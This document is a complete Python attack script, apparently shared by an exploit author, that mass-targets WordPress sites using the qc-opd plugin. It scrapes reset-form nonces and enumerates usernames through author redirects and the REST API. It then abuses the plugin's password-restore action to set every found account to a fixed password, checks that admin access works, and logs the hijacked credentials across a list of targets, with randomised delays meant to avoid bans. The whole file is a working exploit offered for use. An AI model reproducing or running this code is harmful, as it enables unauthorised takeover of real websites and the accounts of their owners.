#!/usr/bin/env python3 # -*- coding: utf-8 -*- # By: Nxploited # GitHub: https://github.com/Nxploited # Telegram: @KNxploited import os import re import sys import time import random from concurrent.futures import ThreadPoolExecutor, as_completed from typing import Optional, List, Set, Tuple from urllib.parse import urlparse, urljoin import requests import urllib3 try: from colorama import Fore, Style, init as colorama_init # type: ignore colorama_init(autoreset=True) except Exception: class _C: RESET = "" RED = "" GREEN = "" YELLOW = "" CYAN = "" MAGENTA = "" BLUE = "" WHITE = "" Fore = _C() Style = _C() urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) requests.packages.urllib3.disable_warnings() RESET_PAGES = [ "restore", "reset-password", "forgot-password", "password-reset", "recover-password", "restore-password", "lost-password", "account-recovery", "recover-account", "set-new-password", "change-password", ] EXTRA_PAGES = [ "", "login", "signin", "my-account", "account", "profile", "member", "members", ] FIXED_PASSWORD = "newhackerpass123" RESULT_FILE = "scan_results/reset_mass_success.txt" BANNER_CORE = [ " _ _ _ _ _ _ _ _ _ ", " / \\ / |_ __ ) / \\ ) |_ __ |_|_ (_| (_| / \\ /| ", " \\_ \\/ |_ /_ \\_/ /_ _) | | | \\_/ | ", " ", ] AUTHOR_LINE = "By: Nxploited | GitHub: https://github.com/Nxploited | Telegram: @KNxploited" TITLE_LINE = "WordPress qc-opd Reset Flow Scanner" def print_banner() -> None: os.system("cls" if os.name == "nt" else "clear") # حافة كاملة للمربع بالكامل width = 67 # عرض داخلي مريح لكل الخطوط top_border = "╔" + "═" * width + "╗" mid_border = "╟" + "─" * width + "╢" bottom_border = "╚" + "═" * width + "╝" print(Fore.GREEN + top_border + Style.RESET_ALL) # سطر العنوان الأكبر title = TITLE_LINE.center(width) print( Fore.GREEN + "║" + Style.RESET_ALL + Fore.MAGENTA + title + Style.RESET_ALL + Fore.GREEN + "║" + Style.RESET_ALL ) # فاصل هادئ print(Fore.GREEN + mid_border + Style.RESET_ALL) # شعار ASCII for line in BANNER_CORE: padded = line.center(width) print( Fore.GREEN + "║" + Style.RESET_ALL + Fore.CYAN + padded + Style.RESET_ALL + Fore.GREEN + "║" + Style.RESET_ALL ) # فاصل آخر print(Fore.GREEN + mid_border + Style.RESET_ALL) # سطر الكاتب والحسابات author = AUTHOR_LINE.center(width) print( Fore.GREEN + "║" + Style.RESET_ALL + Fore.YELLOW + author + Style.RESET_ALL + Fore.GREEN + "║" + Style.RESET_ALL ) print(Fore.GREEN + bottom_border + Style.RESET_ALL) print() def now_hms() -> str: return time.strftime("%H:%M:%S") def format_site_status( base: str, nonce_status: str, reset_status: str, access_status: str, color: str, ) -> None: line = ( f"[{now_hms()}] " f"[{base}] " f"NONCE: {nonce_status:<4} | " f"RESET: {reset_status:<4} | " f"ACCESS: {access_status}" ) print(color + line + Style.RESET_ALL) def log_note(msg: str) -> None: print(f"[{now_hms()}] {Fore.CYAN}[*]{Style.RESET_ALL} {msg}") def log_warn(msg: str) -> None: print(f"[{now_hms()}] {Fore.YELLOW}[!]{Style.RESET_ALL} {msg}") def log_err(msg: str) -> None: print(f"[{now_hms()}] {Fore.RED}[x]{Style.RESET_ALL} {msg}") def log_done(msg: str) -> None: print(f"[{now_hms()}] {Fore.GREEN}[+]{Style.RESET_ALL} {msg}") def split_wp_base(url: str) -> Tuple[str, str]: url = url.strip() if not url.startswith(("http://", "https://")): url = "https://" + url parsed = urlparse(url) base_host = f"{parsed.scheme}://{parsed.netloc}" path = parsed.path or "/" if path == "/": return base_host, "" return base_host, path.rstrip("/") def build_wp_url(base_host: str, wp_base: str, path: str) -> str: if not path.startswith("/"): path = "/" + path full = (wp_base + path).replace("//", "/") return base_host + full def build_session(timeout: int) -> requests.Session: s = requests.Session() s.verify = False s.headers.update({ "User-Agent": ( "Mozilla/5.0 (Windows NT 10.0; Win64; x64) " "AppleWebKit/537.36 (KHTML, like Gecko) " "Chrome/121.0.0.0 Safari/537.36" ), "Accept": ( "text/html,application/xhtml+xml,application/xml;q=0.9," "image/avif,image/webp,image/apng,*/*;q=0.8" ), "Accept-Language": "en-US,en;q=0.9", "Connection": "keep-alive", "Upgrade-Insecure-Requests": "1", "Pragma": "no-cache", "Cache-Control": "no-cache", }) adapter = requests.adapters.HTTPAdapter( pool_connections=50, pool_maxsize=50, max_retries=1 ) s.mount("http://", adapter) s.mount("https://", adapter) return s def extract_qc_opd_nonce_from_js(body: str) -> Optional[str]: if not body: return None m = re.search( r'["\']action["\']\s*:\s*["\']qc-opd["\'][^}]+["\']nonce["\']\s*:\s*["\']([0-9A-Za-z]+)["\']', body, flags=re.IGNORECASE ) if m: return m.group(1) m = re.search( r'["\']nonce["\']\s*:\s*["\']([0-9A-Za-z]+)["\'][^}]+["\']action["\']\s*:\s*["\']qc-opd["\']', body, flags=re.IGNORECASE ) if m: return m.group(1) m = re.search( r'(?:qc[_-]?opd[_-]?nonce|qcOpdNonce)\s*=\s*["\']([0-9A-Za-z]+)["\']', body, flags=re.IGNORECASE ) if m: return m.group(1) m = re.search( r'(?:qc[_-]?opd|qcOpd)\s*=\s*\{[^}]*["\']nonce["\']\s*:\s*["\']([0-9A-Za-z]+)["\']', body, flags=re.IGNORECASE ) if m: return m.group(1) snippet_regex = re.compile(r'.{0,120}qc-opd.{0,120}', re.IGNORECASE | re.DOTALL) for snip in snippet_regex.findall(body): m2 = re.search(r'["\']([0-9A-Za-z]{8,20})["\']', snip) if m2: return m2.group(1) return None def extract_wpnonce(body: str) -> Optional[str]: if not body: return None m = re.search( r'name=["\']_wpnonce["\']\s+value=["\']([0-9A-Za-z]+)["\']', body, flags=re.IGNORECASE ) if m: return m.group(1) m = re.search( r'id=["\']_wpnonce["\']\s+name=["\']_wpnonce["\']\s+value=["\']([0-9A-Za-z]+)["\']', body, flags=re.IGNORECASE ) if m: return m.group(1) m = re.search( r'_wpnonce["\']\s*value=["\']([0-9A-Za-z]+)["\']', body, flags=re.IGNORECASE ) if m: return m.group(1) m = re.search( r'name=["\']_wpnonce[_-]?qc[-_]?opd["\']\s+value=["\']([0-9A-Za-z]+)["\']', body, flags=re.IGNORECASE ) if m: return m.group(1) m = re.search( r'id=["\']qc-opd-nonce["\'][^>]*value=["\']([0-9A-Za-z]+)["\']', body, flags=re.IGNORECASE ) if m: return m.group(1) js_nonce = extract_qc_opd_nonce_from_js(body) if js_nonce: return js_nonce return None def page_contains_sld_and_form(body: str) -> bool: if not body: return False low = body.lower() if "sld" not in low: return False if "_wpnonce" not in low: return False if 'name="action"' in low and 'value="restore"' in low: return True if " List[str]: links: List[str] = [] if not body: return links try: host = base_url.split("://", 1)[1].split("/", 1)[0] except Exception: host = "" for m in re.finditer(r'href=["\']([^"\']+)["\']', body, flags=re.IGNORECASE): href = m.group(1) if href.startswith("#"): continue full = urljoin(base_url, href) parsed = urlparse(full) if parsed.scheme not in ("http", "https"): continue if host and host not in (parsed.netloc or ""): continue if full not in links: links.append(full) if len(links) >= max_links: break return links def find_reset_page_and_nonce_expanded( sess: requests.Session, base_host: str, wp_base: str, timeout: int, ) -> Tuple[Optional[str], Optional[str]]: tried: Set[str] = set() def try_url(url: str) -> Tuple[Optional[str], Optional[str]]: if url in tried: return None, None tried.add(url) try: r = sess.get(url, timeout=timeout, allow_redirects=True) except Exception: return None, None if r.status_code != 200: return None, None body = r.text or "" if not page_contains_sld_and_form(body): return None, None nonce = extract_wpnonce(body) if nonce: return r.url, nonce return None, None for slug in RESET_PAGES: slug = slug.strip("/") for variant in (f"/{slug}/", f"/{slug}"): url = build_wp_url(base_host, wp_base, variant) page_url, nonce = try_url(url) if page_url and nonce: return page_url, nonce for slug in EXTRA_PAGES: slug = slug.strip("/") path = "/" if slug == "" else f"/{slug}/" url = build_wp_url(base_host, wp_base, path) page_url, nonce = try_url(url) if page_url and nonce: return page_url, nonce home = build_wp_url(base_host, wp_base, "/") try: rh = sess.get(home, timeout=timeout, allow_redirects=True) except Exception: return None, None if rh.status_code == 200 and rh.text: base_for_links = rh.url links = extract_internal_links(rh.text, base_for_links, max_links=25) for link in links: page_url, nonce = try_url(link) if page_url and nonce: return page_url, nonce return None, None AUTHOR_PATTERN = re.compile(r"/author/([^/]+)") AUTHOR_BODY_PATTERNS = [ re.compile(r'author-\w+">([a-z0-9_\-]+)<', re.I), re.compile(r"/author/([a-z0-9_\-]+)/", re.I), re.compile(r'"slug":"([a-z0-9_\-]+)"', re.I), re.compile(r'"username":"([a-z0-9_\-]+)"', re.I), ] def enum_by_author(sess: requests.Session, root_url: str, timeout: int, max_i: int = 10) -> Set[str]: users: Set[str] = set() for i in range(1, max_i + 1): try: u = f"{root_url}/?author={i}" r = sess.get(u, timeout=timeout, allow_redirects=False) if r.status_code in (301, 302): loc = r.headers.get("location", "") or r.headers.get("Location", "") m = AUTHOR_PATTERN.search(loc) if m: users.add(m.group(1)) r2 = sess.get(u, timeout=timeout, allow_redirects=True) if r2.status_code == 200 and r2.text: body = r2.text for patt in AUTHOR_BODY_PATTERNS: for x in patt.findall(body): users.add(x) except Exception: continue return users def enum_by_rest(sess: requests.Session, root_url: str, timeout: int) -> Set[str]: users: Set[str] = set() api = root_url.rstrip("/") + "/wp-json/wp/v2/users" try: r = sess.get(api, timeout=timeout) except Exception: return users if r.status_code != 200: return users try: data = r.json() except Exception: return users if isinstance(data, list): for entry in data: if isinstance(entry, dict): for key in ("slug", "username", "name"): v = entry.get(key) if v: users.add(str(v)) return users def collect_candidates(base_host: str, wp_base: str, timeout: int) -> List[str]: sess = build_session(timeout) root = build_wp_url(base_host, wp_base, "/") users: Set[str] = set() users.update(enum_by_author(sess, root, timeout, max_i=10)) users.update(enum_by_rest(sess, root, timeout)) parsed = urlparse(root) host = (parsed.netloc or "").split(":")[0].lower() if host.startswith("www."): host = host[4:] first_label = host.split(".")[0] if first_label and len(first_label) > 2: users.add(first_label) users.add("admin") users = {u for u in users if u and 2 < len(u) < 50} if not users: users = {"admin"} return sorted(users) def send_reset_for_user( sess: requests.Session, page_url: str, username: str, nonce: str, timeout: int, ) -> bool: data = { "qc-restore-pwd": "restore", "qc-restore-pwd-type": "user", "qc-uid": username, "pass": FIXED_PASSWORD, "_wpnonce": nonce, } headers = { "Content-Type": "application/x-www-form-urlencoded", "Referer": page_url, } try: r = sess.post( page_url, data=data, headers=headers, timeout=timeout, allow_redirects=True, ) except Exception: return False if r.status_code not in (200, 302, 301): return False body = (r.text or "").lower() fails = [ "invalid user", "unknown user", "user not found", "invalid username", "error:", "error ", "failed", ] if any(f in body for f in fails): return False return True def check_admin_access(sess: requests.Session, root_url: str, timeout: int) -> bool: admin_paths = [ "/wp-admin/index.php", "/wp-admin/profile.php", "/wp-admin/edit.php", "/wp-admin/plugins.php", "/wp-admin/users.php", ] markers = [ 'id="adminmenu"', 'id="wpadminbar"', '
', 'class="wp-admin', 'id="wpcontent"', 'id="wpbody-content"', "users.php", "plugins.php", "edit.php", ] deny = [ "sorry, you are not allowed to access this page", "you do not have sufficient permissions", "insufficient permissions", ] ok_pages = 0 for ep in admin_paths: u = root_url.rstrip("/") + ep try: r = sess.get(u, timeout=timeout, allow_redirects=True) except Exception: continue if r.status_code != 200: continue if "wp-login.php" in (r.url or ""): return False content = r.text or "" low = content.lower() if any(d in low for d in deny): return False found = sum(1 for m in markers if m in content) if found >= 3: ok_pages += 1 if ok_pages >= 2: return True try: r2 = sess.get( root_url.rstrip("/") + "/wp-admin/plugin-install.php", timeout=timeout, allow_redirects=True ) if r2.status_code == 200: low2 = (r2.text or "").lower() if any(d in low2 for d in deny): return False if "upload-plugin" in low2 or "plugin-install-tab" in low2: return True except Exception: pass return ok_pages >= 1 def find_wp_login_path(sess: requests.Session, base_host: str, wp_base: str, timeout: int) -> str: paths = [ "/wp-login.php", "/wordpress/wp-login.php", "/wp/wp-login.php", "/blog/wp-login.php", "/cms/wp-login.php", "/wp/login.php", ] for p in paths: url = build_wp_url(base_host, wp_base, p) try: r = sess.get(url, timeout=timeout, allow_redirects=True) except Exception: continue txt = r.text or "" if r.status_code == 200 and " bool: root_site = build_wp_url(base_host, wp_base, "/") login_url = build_wp_url(base_host, wp_base, login_path) try: sess.get(login_url, timeout=timeout, allow_redirects=True) except Exception: pass data = { "log": username.strip(), "pwd": password, "wp-submit": "Log In", "testcookie": "1", } headers = { "User-Agent": sess.headers.get("User-Agent", ""), "Content-Type": "application/x-www-form-urlencoded", "Referer": login_url, } try: r = sess.post( login_url, data=data, headers=headers, timeout=timeout, allow_redirects=True, ) except Exception: return False content = (r.text or "").lower() fails = [ "incorrect username or password", "invalid username", "invalid password", "error: the username", "is not registered", "authentication failed", "login failed", "unknown username", ] if any(x in content for x in fails): return False has_cookie = any(c.name.startswith("wordpress_logged_in") for c in sess.cookies) if not has_cookie: return False if not check_admin_access(sess, root_site, timeout): return False return True def detect_direct_session_mode( sess: requests.Session, base_host: str, wp_base: str, timeout: int, ) -> bool: root_site = build_wp_url(base_host, wp_base, "/") has_cookie = any(c.name.startswith("wordpress_logged_in") for c in sess.cookies) if not has_cookie: return False return check_admin_access(sess, root_site, timeout) def brute_after_reset_password_mode( base_host: str, wp_base: str, usernames: List[str], password: str, timeout: int, output_file: str, per_user_delay_min: float, per_user_delay_max: float, ) -> int: hits = 0 sess0 = build_session(timeout) login_path = find_wp_login_path(sess0, base_host, wp_base, timeout) for username in usernames: sess_user = build_session(timeout) if strict_login_attempt(sess_user, base_host, wp_base, login_path, username, password, timeout): ts = time.strftime("%Y-%m-%dT%H:%M:%S") line = f"[{ts}] {base_host}{wp_base or ''} - account={username} pass={password} mode=password\n" os.makedirs(os.path.dirname(output_file), exist_ok=True) with open(output_file, "a", encoding="utf-8") as f: f.write(line) hits += 1 time.sleep(random.uniform(per_user_delay_min, per_user_delay_max)) return hits def process_site( site: str, timeout: int, per_user_delay_min: float, per_user_delay_max: float, per_site_delay: float, output_file: str, ) -> None: base_host, wp_base = split_wp_base(site) label = f"{base_host}{wp_base or ''}" nonce_status = "-" reset_status = "-" access_hits = 0 sess = build_session(timeout) page_url, nonce = find_reset_page_and_nonce_expanded(sess, base_host, wp_base, timeout) if nonce and page_url: nonce_status = "OK" else: nonce_status = "FAIL" format_site_status(label, nonce_status, reset_status, f"{access_hits} HIT", Fore.RED) return usernames = collect_candidates(base_host, wp_base, timeout) if not usernames: reset_status = "FAIL" format_site_status(label, nonce_status, reset_status, f"{access_hits} HIT", Fore.RED) return reset_success_any = False session_mode_hits = 0 for username in usernames: ok = send_reset_for_user(sess, page_url, username, nonce, timeout) if ok: reset_success_any = True if detect_direct_session_mode(sess, base_host, wp_base, timeout): ts = time.strftime("%Y-%m-%dT%H:%M:%S") line = f"[{ts}] {base_host}{wp_base or ''} - account={username} pass={FIXED_PASSWORD} mode=session\n" os.makedirs(os.path.dirname(output_file), exist_ok=True) with open(output_file, "a", encoding="utf-8") as f: f.write(line) session_mode_hits += 1 time.sleep(random.uniform(per_user_delay_min, per_user_delay_max)) reset_status = "OK" if reset_success_any else "FAIL" if not reset_success_any: format_site_status(label, nonce_status, reset_status, f"{access_hits} HIT", Fore.YELLOW) time.sleep(per_site_delay) return password_mode_hits = brute_after_reset_password_mode( base_host, wp_base, usernames, FIXED_PASSWORD, timeout, output_file, per_user_delay_min, per_user_delay_max, ) access_hits = session_mode_hits + password_mode_hits color = Fore.GREEN if access_hits > 0 else Fore.YELLOW format_site_status(label, nonce_status, reset_status, f"{access_hits} HIT", color) time.sleep(per_site_delay) def ask(prompt: str, default: Optional[str] = None) -> str: if default is not None: s = input(f"{prompt} [{default}]: ").strip() return s if s else default return input(f"{prompt}: ").strip() def ask_int(prompt: str, default: int) -> int: s = ask(prompt, str(default)) try: return int(s) except Exception: return default def ask_float(prompt: str, default: float) -> float: s = ask(prompt, str(default)) try: return float(s) except Exception: return default def run_interactive() -> None: print_banner() url_list_file = ask("Targets list file (one URL per line)", "list.txt") if not os.path.exists(url_list_file): log_err(f"Targets file not found: {url_list_file}") sys.exit(1) threads = ask_int("Threads (concurrent sites)", 5) timeout = ask_int("HTTP timeout (seconds)", 10) per_user_delay_min = ask_float("Per-user delay MIN (seconds, anti-ban)", 0.3) per_user_delay_max = ask_float("Per-user delay MAX (seconds, anti-ban)", 0.7) per_site_delay = ask_float("Delay between sites (seconds)", 1.0) output_file = ask("Output file for strictly verified access", RESULT_FILE) targets: List[str] = [] with open(url_list_file, "r", encoding="utf-8", errors="ignore") as f: for line in f: line = line.strip() if line: targets.append(line) if not targets: log_err("Targets file is empty.") sys.exit(1) log_note(f"Loaded {len(targets)} targets.") log_note("Flow: find qc-opd nonce on SLD pages -> multi-user reset -> session+password verification.") log_note(f"Fixed password used for all attempts: {FIXED_PASSWORD}") print() start = time.time() with ThreadPoolExecutor(max_workers=threads) as executor: futures = { executor.submit( process_site, site, timeout, per_user_delay_min, per_user_delay_max, per_site_delay, output_file, ): site for site in targets } try: for future in as_completed(futures): _ = futures[future] except KeyboardInterrupt: log_warn("Interrupted by user, shutting down threads...") executor.shutdown(wait=False, cancel_futures=True) sys.exit(1) elapsed = time.time() - start print() log_done(f"Finished in {elapsed:.2f}s") log_done(f"Strictly verified access entries written to: {output_file}") if __name__ == "__main__": run_interactive()